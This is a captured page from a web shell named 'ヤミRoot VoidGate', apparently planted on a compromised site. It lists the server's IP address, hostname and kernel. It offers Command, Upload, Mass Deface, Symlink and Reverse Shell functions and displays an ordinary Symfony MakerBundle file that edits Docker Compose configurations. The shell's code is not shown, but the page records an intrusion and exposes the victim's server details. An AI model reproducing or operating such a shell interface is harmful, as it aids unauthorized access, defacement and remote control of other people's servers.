ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
symfony
/
maker-bundle
/
src
/
Util
/
Viewing: ComposeFileManipulator.php
<?php /* * This file is part of the Symfony MakerBundle package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Bundle\MakerBundle\Util; use Symfony\Bundle\MakerBundle\Exception\RuntimeCommandException; use Symfony\Component\Yaml\Dumper; /** * Manipulate Docker Compose Files. * * @author Jesse Rushlow <jr@rushlow.dev> * * @internal * @final */ class ComposeFileManipulator { public const COMPOSE_FILE_VERSION = '3.7'; /** @var YamlSourceManipulator */ private $manipulator; public function __construct(string $contents) { if ('' === $contents) { $this->manipulator = new YamlSourceManipulator( (new Dumper())->dump($this->getBasicStructure(), 2) ); } else { $this->manipulator = new YamlSourceManipulator($contents); } $this->checkComposeFileVersion(); } public function getComposeData(): array { return $this->manipulator->getData(); } public function getDataString(): string { return $this->manipulator->getContents(); } public function serviceExists(string $name): bool { $data = $this->manipulator->getData(); if (\array_key_exists('services', $data)) { return \array_key_exists($name, $data['services']); } return false; } public function addDockerService(string $name, array $details): void { $data = $this->manipulator->getData(); $data['services'][$name] = $details; $this->manipulator->setData($data); } public function removeDockerService(string $name): void { $data = $this->manipulator->getData(); unset($data['services'][$name]); $this->manipulator->setData($data); } public function exposePorts(string $service, array $ports): void { $portData = []; $portData[] = sprintf('%s To allow the host machine to access the ports below, modify the lines below.', YamlSourceManipulator::COMMENT_PLACEHOLDER_VALUE); $portData[] = sprintf('%s For example, to allow the host to connect to port 3306 on the container, you would change', YamlSourceManipulator::COMMENT_PLACEHOLDER_VALUE); $portData[] = sprintf('%s "3306" to "3306:3306". Where the first port is exposed to the host and the second is the container port.', YamlSourceManipulator::COMMENT_PLACEHOLDER_VALUE); $portData[] = sprintf('%s See https://docs.docker.com/compose/compose-file/compose-file-v3/#ports for more information.', YamlSourceManipulator::COMMENT_PLACEHOLDER_VALUE); foreach ($ports as $port) { $portData[] = $port; } $data = $this->manipulator->getData(); $data['services'][$service]['ports'] = $portData; $this->manipulator->setData($data); } public function addVolume(string $service, string $hostPath, string $containerPath): void { $data = $this->manipulator->getData(); $data['services'][$service]['volumes'][] = sprintf('%s:%s', $hostPath, $containerPath); $this->manipulator->setData($data); } private function getBasicStructure(string $version = self::COMPOSE_FILE_VERSION): array { return [ 'version' => $version, 'services' => [], ]; } private function checkComposeFileVersion(): void { $data = $this->manipulator->getData(); if (empty($data['version'])) { throw new RuntimeCommandException('docker-compose.yaml file version is not set.'); } if (2.0 > (float) $data['version']) { throw new RuntimeCommandException(sprintf('docker-compose.yaml version %s is not supported. Please update your docker-compose.yaml file to the latest version.', $data['version'])); } } }
Coded With 💗 by
0x6ick